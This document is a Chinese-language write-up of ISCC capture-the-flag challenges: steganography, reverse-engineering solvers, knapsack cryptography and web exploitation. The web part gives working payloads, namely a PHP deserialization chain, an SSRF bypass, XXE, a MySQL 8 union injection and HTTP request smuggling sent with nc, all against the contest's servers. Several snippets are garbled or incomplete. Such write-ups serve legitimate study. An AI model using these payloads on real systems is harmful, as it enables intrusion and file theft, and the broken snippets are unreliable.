ISCC-WP

练武wp:

MISC

2022冬奥会

图片在kali中,没有显示缩略图,其宽高很可能被修改过
在这里插入图片描述

修改图片的长之后,下面出些一些&#x编码,这是html实体编码。进行unicode解码得到
冰敦敦的小伙伴经常被人冷落,你知道他的原型是什么吗?
雪容融的原型是灯笼 得到一个jpg文件,把拖到010editor里得到flag
在这里插入图片描述
通过这个题目我学会了html实体编码,还有如何修改图片的长宽。

单板小将苏翊鸣

图片010editor修改高宽,下面有一个二维码 ,扫描二维码
ISCC-WP_第1张图片
得到unicode编码的东西,

\u5728\u8fd9\u6b21\u51ac\u5965\u4f1a\u7684\u821e\u53f0\u4e0a\uff0c\u6211\u56fd\u5c0f\u5c06\u82cf\u7fca\u9e23\u65a9\u83b7\u4e00\u91d1\u4e00\u94f6\uff0c\u90a3\u4f60\u77e5\u9053\u6b64\u6b21\u51ac\u5965\u4f1a\u6211\u56fd\u603b\u5171\u83b7\u5f97\u51e0\u679a\u5956\u724c\u5417\uff1f\u53c8\u5206\u522b\u662f\u51e0\u91d1\u51e0\u94f6\u51e0\u94dc\u5462\uff1f

然后进行解码,是让我猜测冬奥会总共有几枚奖牌,有分别是几枚金牌,银牌和铜牌。
分别是 15 9 4 2 压缩包密码就是这几个数字合并。
打开就是flag。
这个题目收获学会修改图片高低,学会Unicode编码。

隐秘的信息

给你的信息进行base64解密,解密得到
easy_to_find_the_flag 这是压缩包密码
里面有一张照片,LSB隐写,利用stegsolve查看
前九行,进行十六进制转二进制
ISCC-WP_第2张图片

ASCII码的二进制表达,是从 0000 0000 开始,到 0111 1111 结束, 1位十六进制数表示四位二进制数,比如十六进制的1二进制表示就是0001。转换要注意
111111010010010101001101000011010000110111101101010000011001100011010001000011011000100100110001110000011101100110101101100001010110000110010001101110001100100111001000110101011010010110100101001111011100110111110111111111000000000111111000000000000111111111111111111111000111111000111111111000000000111111111111000000000111000111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111011110001000100100000111100001100001101001001110001100111111101
ASCLL码使用指定的七位或八位二进制数组合来表示128或256种可能的组合。
所以,在针对ASCII码的形式进行修改后,得到
0100100101010011010000110100001101111011010100000110011000110100010000110110001001001100011100000111011001101011011000010101100001100100011011100011001001110010001101010110100101101001010011110111001101111101
转换后得到flag
ISCC-WP_第3张图片
这个题目收获到了lsb隐写的一些操作,然后ASCII码的二进制表达,是从 0000 0000 开始,到 0111 1111 结束, 1位十六进制数表示四位二进制数,比如十六进制的1二进制表示就是0001,ascll码使用指定的七位或八位二进制数组合来表示128或256种可能的组合。

降维打击

图片通过010editor打开,然后发现图片的头部是89 50 4E 47,然后发现最后也有一个 89 50 4E 47,
ISCC-WP_第4张图片
然后把后面的十六进制文本提取出来,在010editor中打开,保存图片位置,发现有一张图片。
ISCC-WP_第5张图片
利用zsteg查看这个黑白图片的各个通道的lsb
ISCC-WP_第6张图片

发现存在一个png,输出出来
在这里插入图片描述
在这里插入图片描述

将得到的png图片对照魔女文字,即可得到flag
ISCC-WP_第7张图片
这个题目收获了图片的头部是89 50 4E 47,通过十六进制保存图片,学会了zsteg隐写,

藏在星空中的诗-1

将图片经过ps打开,把透明度拉到最高。
ISCC-WP_第8张图片
得到一个顺序1,3,5,2,4,
又看到txt里的是特殊符号,且有序号
赛题又提示最好使用WinRAR,所以猜测密码是五排符号,就按13524的顺序得到xlsx文件的密码。发现是字母和字符的对照图片。
![在这里插入图片描述](https://img-blog.csdnimg.cn/abdafd3fa2444e26bd49d1a9e7fd536d.pngISCC-WP_第9张图片

进行一一对应,就是flag。

本题目学会了photoshop的使用方法,如何把透明度拉到最高。也知道了WinRAR的强大。

真相只有一个

解压得到一个文本txt,一个png图片,一个无后缀名文件
把stream拖到010editor里面,
在这里插入图片描述

文件头前端与zip源文件数据区基本相同,前两位被修改;改为50 4B 03 04,内含stream.pcapng文件。
对图片进行zsteg分析
在这里插入图片描述
猜测该文本可能与解压密码有关。然后猜测可能需要掩码爆破。
在这里插入图片描述
所以密码就是19981111
然后打开是一个流量包,用wireshark打开,发现一个password.mp3文件。通过ftp查找定位到8692
ISCC-WP_第10张图片
用Audacity打开,放大在末尾发现摩斯密码。
ISCC-WP_第11张图片

通过解密得到密码是isccmisc
最后flag.txt是snow隐写,利用密码 得到flag
```
snow.exe -p isccmisc -C flag.txt
这个题目学到了如何用wirshark分离mp3文件,还有压缩包如何爆破,摩斯密码可以藏在音频里。题目指令很不错。

## 藏在星空中的诗-2
在星空中的诗1中,有一个xlsx文件,每一个星星都有对应的十六进制数字,是xlxs中每个星星对应的最后U+中的最后一个数字
然后拼出poem中全部的十六进制数,再转化为ascll码表就是flag

import json
flag_enc=“全部密文”.replace(“每组前三个相同的字符”,“”)
flag_unicode_hex=[str(hex(ord(i))).upper() for i in flag_enc if i!=“\”]
final_flag_unicode=“”
for i in range(len(flag_unicode_hex)):
# if i%20 and i0:
# final_flag_unicode +=“\u00”+flag_unicode_hex[i][-1]
if i%2==0:
final_flag_unicode +=“\u00”+flag_unicode_hex[i][-1]
else:
final_flag_unicode+=flag_unicode_hex[i][-1]
print(json.loads(‘“%s”’ %final_flag_unicode))

这个题目学会了将星星转为十六进制数,将十六进制数再转化为ascll码表,题目还不错。

## 小光学AI
题目是让结合机器学习的方法分析像素点的比值。
所给的附件中给出了训练集(training_images),password和flag.zip。训练集中给出了上百张图片和xml文件,xml文件中记录了数据xmin,xmax,ymin,ymax。
计算像素脚本:

```python
import os
import sys

def get_sum(C:\Desktop\ISCC):
    sum = 0
    for root, dirs, files in os.walk(path):
        for file in files:
            if file.endswith('.jpg'):
                file_path = os.path.join(root, file)
                sum += get_pixel_sum(file_path)
    return sum
def get_pixel_sum(file_path):
    sum = 0
    with open(file_path, 'rb') as f:
        for line in f:
            sum += len(line)
    return sum

if __name__ == '__main__':
    path = 'mushroom/'
    sum = get_sum(path)
    print(sum)

通过手动计算,得到爆破字典

a = 34700
b = 46000
c = 56000
f = open("dict1.txt","w+")
for i in range(5000):
    for j in range(5000):
        for k in range(5000):
            f.write(str(a+i) + ":" + str(b+j) + ":" + str(c+k)+'\n')

爆破字典得到打开压缩包获得flag:37035:49380:61725

套中套

密码隐藏在那张图片里,补全png格式再修改高可以获的一部分, flag1: wELC0m3_
然后拖到stegsolove,
ISCC-WP_第12张图片
flag1: wELC0m3_T0_tH3
用winhex打开,最后有一段base64,解密
flag1和flag2合起来wELC0m3_T0_tH3_ISCC_Zo2z

#!/usr/bin/python

import random
import codecs
import gmpy2
import sys
import os

def getRandom(randomlength=4):
	digits="0123456789"
	ascii_letters="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
	str_list =[random.choice(digits +ascii_letters) for i in range(randomlength)]
	random_str =''.join(str_list)
	return random_str


def makeKey(n):
	privKey = [random.randint(1, 4**n)]
	s = privKey[0]
	for i in range(1, n):
		privKey.append(random.randint(s + 1, 4**(n + i)))
		s += privKey[i]
	q = random.randint(privKey[n-1] + 1, 2*privKey[n-1])
	r = random.randint(1, q)
	while gmpy2.gcd(r, q) != 1:
		r = random.randint(1, q)
	pubKey = [ r*w % q for w in privKey ]
	return privKey, q, r, pubKey

def encrypt(msg, pubKey):
	msg_bit = msg
	n = len(pubKey)
	cipher = 0
	i = 0
	for bit in msg_bit:
		cipher += int(bit)*pubKey[i]
		i += 1
	return bin(cipher)[2:]



flaggg=open('ffalg.txt','w')

# secret = input('Plz input the FLAG to generate the question.')
for i in range(50):
	fe = open('enc.txt', 'w')
	fpub = open('pub.Key', 'w')
	fpriv = open('priv.Key', 'w')
	fq = open('q.txt', 'w')
	fr = open('r.txt', 'w')

	print(i)
	tt="ISCC{"
	for j in range(3):
		temp=getRandom()
		tt=tt+temp+'-'
	secret = tt[:-1]+'}'
	flaggg.write(secret)
	flaggg.write('\n')
	msg_bit = bin(int(codecs.encode(secret.encode(), 'hex'), 16))[2:]
	keyPair = makeKey(len(msg_bit))
	pub_str = '['+', '.join([str(i) for i in keyPair[3]]) + ']'
	fpub.write(pub_str)
	#print ('pub.Key: ' + pub_str)
	enc =  encrypt(msg_bit, keyPair[3])
	#print ('enc: ' + str(int(enc, 2)))
	fe.write(str(int(enc, 2)))
	priv_str = '['+', '.join([str(i) for i in keyPair[0]]) + ']'
	#print ('priv.Key: ' + priv_str)
	fpriv.write(priv_str)
	#print('q: ' + str(keyPair[1]))
	fq.write(str(keyPair[1]))
	#print('r: ' + str(keyPair[2]))
	fr.write(str(keyPair[2]))
	name="misc-example-"+str(i+1)+".zip"
	fe.close()
	fpub.close()
	fpriv.close()
	fq.close()
	fr.close()

	os.system("zip -r -P'wELC0m3_T0_tH3_ISCC_Zo2z' tzt2.zip enc.txt generator.py priv.Key pub.Key q.txt r.txt")
	os.system("zip -r ./output/{}.zip tzt.png tzt2.zip".format(name))


flaggg.close()

加密部分:

def encrypt(msg, pubKey):
	msg_bit = msg
	n = len(pubKey)
	cipher = 0
	i = 0
	for bit in msg_bit:
		cipher += int(bit)*pubKey[i]
		i += 1
	return bin(cipher)[2:]

这里就可以知道cipher就是选择若干个pubKey相加,而选择哪一方相加是由明文决定
在这里插入图片描述
如果但从这里看,可以尝试暴力说不定可以,不过很明显不靠谱
然后看看密钥的生成

def makeKey(n):
	privKey = [random.randint(1, 4**n)]
	s = privKey[0]
	for i in range(1, n):
		privKey.append(random.randint(s + 1, 4**(n + i)))
		s += privKey[i]
	q = random.randint(privKey[n-1] + 1, 2*privKey[n-1])
	r = random.randint(1, q)
	while gmpy2.gcd(r, q) != 1:
		r = random.randint(1, q)
	pubKey = [ r*w % q for w in privKey ]
	return privKey, q, r, pubKey

得到的信息
公钥生成方式是r*w %q
私钥是递增的并且大于之前私钥数之和
q大于最后一个私钥
首先可以先乘上逆元r,将cipher转换为在q上的私钥运算
在这里插入图片描述
q大于所有私钥之和,私钥是递增的,大于之前私钥之和。所以很明显 ,对于任意的prikey_i,如果加入cipher,它的地位是唯一的,也就是加上它 cipher > prikey_i 不加上它 cipher < prikey_i(从最大的prikey开始判断)
可以写出最一般的情况解

for i in range(1):
    r = 
    enc = 
    q = 
    #enc =  encrypt(msg_bit, keyPair[3],keyPair[0],q)
    key = 
    enc = (enc*gmpy2.invert(r,q))%q
    flag = ''
    for i in range(len(key)-1,-1,-1):
        if enc - key[i] > 0:
            enc -= key[i]
            flag =flag+'1'
        else:
            flag+='0'
    print(long_to_bytes(int(str(flag[::-1]),2)))

还有考虑一种特殊情况,就是之前的私钥值加上最后一个私钥值大于q的情况

此时需要先减去最后一个私钥值(mod q),之后同上

for i in range(1):
    r = 
    enc = 
    q = 
    #enc =  encrypt(msg_bit, keyPair[3],keyPair[0],q)
    key = 
    enc = (enc*gmpy2.invert(r,q))%q
    flag = ''
    enc = (enc-key[-1])%q
    flag+='1'
    for i in range(len(key)-2,-1,-1):
        if enc - key[i] > 0:
            enc -= key[i]
            flag =flag+'1'
        else:
            flag+='0'
    print(long_to_bytes(int(str(flag[::-1]),2)))

这个题目确实是套中套,公钥生成方式是r*w %q,私钥是递增的并且大于之前私钥数之和,q大于最后一个私钥,首先可以先乘上逆元r,将cipher转换为在q上的私钥运算。题目挺有意思。增加了对密码学的见识。

WEB

冬奥会

源码:


show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
    var_dump($info);
    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){
        ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
        $status = array_search("skiing", $info["items"]);
        $status===false?die("Sorry~"):NULL;
        foreach($info["items"] as $key=>$val){
            $val==="skiing"?die("Sorry~"):NULL;
        }
        $Step2=True;
    }
}
if($Step1 && $Step2){
    include "2022flag.php";echo $flag;
}
?> 
//array(0) { } 

代码审计,是get传参information
要求’year’为2022
'item’为三个☞的数组 并且第[1]和的值是数组
因为是JSON_decode所以格式是{“key1”:obj ",“key2”:“obj2”…}
?Information={“year”:“2022a”,“items”:[“gh”,[“asaf”,“qweas”],0]}

这个题目收获了json数据的格式,以及三个等于号和两个等于号的区别。

Pop2022

Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH
'
; if(isset($_GET['wish'])){ @unserialize($_GET['wish']); } else{ $a=new Road_is_Long; highlight_file(__FILE__); } /***************************pop your 2022*****************************/ class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } } } class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); } } /**********************Try to See flag.php*****************************/

题目的流程:
Road_is_Long.wakeup.page
$page->new Road_is_Long
$string->new Make_a_Change
$effort->new Try_Work_Hard
$var->php://filter/read=convert.base64-encode/resource=flag.php

payload


class Try_Work_Hard {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}

class Make_a_Change{
    public $effort;
}

class Road_is_Long{
    public $page;
    public $string;
    public function __construct(){
        $this->string = new Make_a_Change();
    }
}

$a = new Road_is_Long;
$a->page = new Road_is_Long();
$a->page->string->effort = new Try_Work_Hard();
echo urlencode(serialize($a));
?>
?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BN%3B%7D%7D

通过这个题目收获了php序列化和反序列化。还有php伪协议读取文件内容。

这是一道代码审计题

打开出现一个/index查看源代码,提示要传参url。
ISCC-WP_第13张图片
发现这个文件。
这是表情解密
http://www.atoolbox.net/Tool.php?Id=937,然后得到

def geneSign():
    if(control_key==1):
        return render_template("index.html")
    else:
        return "You have not access to this page!"
def check_ssrf(url):
    hostname = urlparse(url).hostname
    try:
        if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
                raise BaseException("url format error")
        if  re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if judge_ip(hostname):
                return True
            return False, "You not get the right clue!"
        else:
            ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
            if is_inner_ipaddress(ip_address):
                return False,"inner ip address attack"
            else:
                return False, "You not get the right clue!"
    except BaseException as e:
        return False, str(e)
    except:
        return False, "unknow error"
def ip2long(ip_addr):
    return struct.unpack("!L", socket.inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
    ip = ip2long(ip)
    print(ip)
    return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24
def waf1(ip):
    forbidden_list = [ '.', '0', '1', '2', '7']
    for word in forbidden_list:
        if ip and word:
            if word in ip.lower():
                return True
    return False
def judge_ip(ip):
    if(waf1(ip)):
        return Fasle
    else:
        addr = addr.encode(encoding = "utf-8")
        ipp = base64.encodestring(addr)
        ipp = ipp.strip().lower().decode()
        if(ip==ipp):
            global control_key
            control_key = 1
            return True
        else:
            return Fals

源码只有返回为true的时候才可以触发,要让ip==ipp,
addr=127.0.0.1,将127.0.0.1进行base64编码,然后转小写base64解码和ip相同的话就为true,

/index?url=https://@mti3ljaumc4x //一定要注意这里的@不能丢,
然后进行传参 得到一个cookie aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==
将原来的cookie进行替换。
a_cookie = aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==

然后会得到一个xm。

function codelogin(){
	var name = $("#name").val();
	var password = $("#password").val();
	if(name == "" || word == ""){
		alert("Please enter the username and password!");
		return;
	}

	var data = "<user><name>" + name + "name><password>" + password + "password>user>";
    $.ajax({
    	contentType: "application/xml;charset=utf-8",
        type: "POST",
        url: "codelogin",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    });
}
继续xml伪造,这里有xxe漏洞
```xml
DOCTYPE ANY [

]>
<user>
<name>
	&f;
	name>
<password>
password
password>user>

然后以post的方式传入 /mti3ljaumc4x/codelogin 就能得到flag
通过这个最主要是学会了把127.0.0.1过滤了,该怎么绕过,这里之前没见过,这次学会了通过base64的格式可以绕过。这里是一个知识点.

Easy-SQL

59.110.159.206:7010?id=-8 --+,得到一个[email protected],然后访问ypHeMPardErE.zip
会得到源码

connect_errno) {
    die("Connection failed: " . $conn->connect_errno);
} 

echo "Where is the database?"."
"; echo "try ?id"; function sqlWaf($s) { $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i'; if (preg_match($filter,$s)) return False; return True; } if (isset($_GET['id'])) { $id = $_GET['id']; $sql = "select * from users where id=$id"; $safe = preg_match('/select/is', $id); if($safe!==0) die("No select!"); $result = mysqli_query($conn, $sql); if ($result) { $row = mysqli_fetch_array($result); echo "

" . $row['username'] . "


"; echo "

" . $row['passwd'] . "

"; } else die('
Error!'); } if (isset($_POST['username']) && isset($_POST['passwd'])) { $username = strval($_POST['username']); $passwd = strval($_POST['passwd']); if ( !sqlWaf($passwd) ) die('damn hacker'); $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'"; $result = $conn->query($sql); if ($result->num_rows > 0) { $row = $result->fetch_assoc(); if ( $row['username'] === 'admin' && $row['passwd'] ) { if ($row['passwd'] == $passwd) { die($flag); } else { die("username or passwd wrong, are you admin?"); } } else { die("wrong user"); } } else { die("user not exist or wrong passwd"); } } mysqli_close($conn); ?>

要求是post传参username,passwd.
$row[‘username’] === ‘admin’ &&
r o w [ ′ p a s s w d ′ ] 和 row['passwd']和 row[passwd]row[‘passwd’] == $passwd

payload :username=-1’ union values row(“admin”,“admin”,“admin”)%23&passwd=admin
通过这个题目学到了mysql8的特性,可以通过union values row方式可以读取内容。

让我康康!

这是一个HTTP走私题目。
burpsuite抓包回显服务器是gunicorn/20.0.0
这个服务器版本有HTTP走私漏洞,查看源代码,出现一个try flag,然后访问/flag;.txt。
ISCC-WP_第14张图片
输入flag,回显一个flag is in ‘/fl4g’

echo -en "POST / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 76\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxPOST /fl4g HTTP/1.1\r\nHost: localhost\r\nContent-Length: 55\r\n\r\nPOST / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

回显本地访问。

echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

ISCC-WP_第15张图片
这个题目学到了HTTP走私,/r/n的使用,对于TE,CL的方式也有了学习。

findme


highlight_file(__FILE__);
class a{
    public $un0;
    public $un1;
    public $un2;
    public $un3;
    public $un4;
    
    public function __destruct(){
        if(!empty($this->un0) && empty($this->un2)){
            $this -> Givemeanew();
            if($this -> un3 === 'unserialize'){
                $this -> yigei();
            }
            else{
                $this -> giao();
            }
        }
    }
    public function Givemeanew(){
        $this -> un4 = new $this->un0($this -> un1);
    }
    public function yigei(){
        echo 'Your output: '.$this->un4;
    }
    
    public function giao(){
        @eval($this->un2);
    }
    
    public function __wakeup(){
        include $this -> un2.'hint.php';
    }
}
$data = $_POST['data'];
unserialize($data);

通过php为协议读取hint内容



class a{
    public $un0;
    public $un1;
    public $un2='php://filter/read=convert.base64-encode/resource=';
    public $un3;
    public $un4;

}

$a=new a();
echo serialize($a);
?>

然后base64解密得到的内容

目录遍历:

回显出文件 fA1TE_GRo9rde_OScter5r.txt
用SplFileObject读文件



class a{
    public $un0='SplFileObject';
    public $un1="fA1TE_GRo9rde_OScter5r.txt";
    public $un2;
    public $un3='unserialize';
    public $un4;

}

$a=new a();
echo serialize($a);

回显出flag ISCC{DQnm19dw_SPxQwQsK_21EnFvN}
这个题目学会了php伪协议和

爱国敬业好青年-2

主页面是一个假页面,burpsuite先get方式传入change页面,出现一个open,然后再访问flag页面,post提交 lati=116°23′E&langti=39°54′N
就是flag.

REVERSE

GetTheTable

直接上IDA,可以看出到这是一个base58算法。
在这里插入图片描述
密文就是ERaQux2sG1yhTracrk1ZrZ6qnc,解出来就是flag。
**

Amy’s Code

这是三十二位的程序
在main函数中,输入的v4给v3,然后传入sub_4115FF(),
ISCC-WP_第16张图片
输入的值都按位异或,之后在传进
ISCC-WP_第17张图片
根据这里构造出脚本

v6='LWHFUENGDJGEFHYDHIGJ'
v9=[149,169,137,134,212,188,177,184,177,197,192,179,153,140,175,146,105,157,104,184]
str=''
flag=''
for i in range(len(v6)):
    str+=chr(v9[i]-ord(v6[i]))
for i in range(len(v9)):
    flag+=chr(ord(str[i])^i)
print(flag)

VigenereLike

import base64

string = ['I', 'S', 'C', 'C', 'Y', 'E', 'S']
string2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "

dai = 'rJFsLqVyFKZBHDkIqr5wu LZlu1Eo1pZLommCrv='  # base64
flag = ''
for i in range(0, len(dai)):
    if dai[i] in string2:
        v = string2.find(dai[i])
        v2 = string2.find(string[i % 7])
        out = string2[v - v2]
        flag += out
    else:
        flag += dai[i]
print(flag)
flag = base64.b64decode(flag)
print(flag)
flag = list(flag)
for o in range(len(flag)):
    flag[o] = chr(flag[o] ^ ((o % 7) + 1))
print(''.join(flag)[:-4])

How_decode

在encode里看到了sum=0x61c88648,这是xxtea加密,秘钥就是k数组的4位。密文是main函数前面的长串。
ISCC-WP_第18张图片

解密算法:

#include 
#include 
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[e^p&3] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4])
{
    int y, z, sum, t;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52 / n;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++)
            {
                y = v[p + 1];
                t = v[p];
                t += MX;
                z = t;

            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52 / n;
        sum = rounds * DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--)
            {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        } while (--rounds);
    }
}


int main()
{
    uint32_t v[] = { 0x583A2755,0x15F437DE,
0xEB4BF8AF,0xD9F98EF2,
0x42CCAB39,0x7A857094,
0x912E821D,0xCD3148B7,
0x743BC712,0x487532A5,
0x5A630997,0x80576CDB,
0x11783A4D,0x73D2C70E,
0xD6EE81AC,0xDAFA0F09,
0xAC79A9EC,0x91F4B9B7 };
    uint32_t const k[4] = { 73,83,67,67 };
    int n = 18; //n的绝对值表示v的长度,取正表示加密,取负表示解密

    //btea(v, n, k);
    btea(v, -n, k);
    for (int i = 0; i < 18; i++) {
        printf("%x ", v[i]);
    }
    return 0;
}

Sad Code

32位ida打开,将里面的内容替换。
exp1:

from z3 import *
s = Solver()
v16=[Int('v16[%d]'%i) for i in range(7)]
v15=Int('v15')
s.add(v16[1] + 7 * v16[0] - 4 * v15 - 2 * v16[2] == )
s.add(5 * v16[2] + 3 * v16[1] - v16[0] - 2 * v15 == )
s.add(2 * v16[0] + 8 * v16[2] + 10 * v15 - 5 * v16[1] == )
s.add(7 * v15 + 15 * v16[0] - 3 * v16[2] - 2 * v16[1] == )
s.add(15 * v16[3] + 35 * v16[6] - v16[4] - v16[5] == )
s.add(38 * v16[5] + v16[3] + v16[6] - 24 * v16[4] == )
s.add(38 * v16[4] + 32 * v16[3] - v16[5] - v16[6] == )
s.add(v16[3] + 41 * v16[5] - v16[4] - 25 * v16[6] == )
if s.check():
    print(s.model())

exp2:(exp1运行结果放入exp2之中)

from Crypto.Util.number import long_to_bytes
v16=[0]*7


v16[2] = 
v16[4] = 
v15 = 
v16[6] = 
v16[3] = 
v16[1] = 
v16[5] = 
v16[0] = 
flag=long_to_bytes(v15)
for i in v16:
    flag+=long_to_bytes(i)
print(flag)

Ruststr

Base64解密异或,
然后判断大小写再异或

b = [
0x9A, 0x78, 0xB6, 0x12, 0xBE, 0x66, 0x8D, 0xCF, 0x51, 0x9E,
0x63, 0xCB, 0x4A, 0xD1, 0x1A, 0x59, 0x78, 0x1C, 0x17, 0x73,
0xF2, 0x1D, 0x05, 0x2F, 0xF0, 0xD7, 0xB3, 0x22, 0x5D, 0xAD,
0x0B, 0xE2
]
c = [0xe4,0x09,0xd9,0x47,0xf8,0x10,0xa3,0xb8,0x09,0xce,0x30,
0x8c,0x64,0x97,0x4e,0x0a,0x3e,0x4b,0x51,0x07,0x8f,0x79,0x60,0x5b,0x9b]
m = []
for i in range(len(c)):
    m.append(c[i]^b[i])
key = [0x32, 0x63, 0x65, 0x61, 0x39, 0x66, 0x30, 0x34, 0x63,
0x36, 0x33, 0x62, 0x34, 0x32, 0x38, 0x33, 0x39, 0x34, 0x30, 0x65,
0x63, 0x30, 0x65, 0x36, 0x64, 0x32, 0x39, 0x62, 0x65, 0x32, 0x38,
0x64]
def lll(a,b):
    if a>b:
        return 0
    else:
        return -1
f = ''
for i in range(len(m)):
    for j in range(128):
        if (lll((key[i]+0xd0)&0xff,0xa) + j +2)&0xff == m[i]:
            f += chr(j)
            print(f)
            break
p = list(f[::-1])

print()
def ppp(num):
    a = num&1
    return a==0
for i in range(len(p)):
    if ord('a')<=ord(p[i])<=ord('z'):
        p[i] = chr(ord(p[i])^0x20)
    elif ord('A')<=ord(p[i])<=ord('Z'):
        p[i] = chr(ord(p[i])^0x20)
    elif ord('0') <=ord(p[i])<=ord('9'):
        a = ord(p[i]) + 1
        b = ord(p[i]) - 1
        if ppp(ord(p[i])):
            p[i] = chr(a)
        else:
            p[i] = chr(b)
    else:
        pass
for i in range(len(p)):
    print(p[i],end='')

Bob’s Code

在主函数中的sub_4116C7这个函数跟进去是一个base64加密。
ISCC-WP_第19张图片

sub_411389跟进去也是一个base64加密,这里进行了换表
下面是对字符串进行加点
ISCC-WP_第20张图片
ISCC-WP_第21张图片
sub_4116E0是对字符串进行位移变换,
payload

#include
using namespace std;
void one();
int main(){
    one();
    return 0;
}
void one() {
    char Str[100];
    int a[100];
    char a1[] = ".W1BqthGbfGvLc3IaAWByo.W15oXRKXiUyXXBYe01VoVlKX2zWVNJUuilkoF0.";
    int a2 = 2;
    int len = strlen(a1);
    for (int i = 0; i < len; i++) {
        for (int j = 0; j < 128; j++) {
            a[i] = j;
            if (a[i] < 65 || a[i] > 90)
            {
                if (a[i] >= 97 && a[i] <= 122) {
                    a[i] = (a[i] + a2 - 97) % 26 + 97;
                }
            }
            else
            {
                a[i] = (a[i] + a2 - 65) % 26 + 65;
            }
            if ((char)a[i] == a1[i]) {
                Str[i] = j;
            }
        }
    }
    for (int num = 0; num < len; num++) {
        cout << Str[num];
    }
    cout << endl;
}
得到的密文去点进行换表base64解密,在进行base64解密
import base64
import string
str1 = "U1ZorfEzdEtJa3GyYUZwmU15mVPIVgSwVVZWc01TmTjIV2xUTLHSsgjimD0===="
string1 = "ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

flag1 = base64.b64decode(str1.translate(str.maketrans(string1,string2)))
flag = base64.b64decode(flag1)
print(flag)

MOBILE

Amy’s Code

ISCC-WP_第22张图片
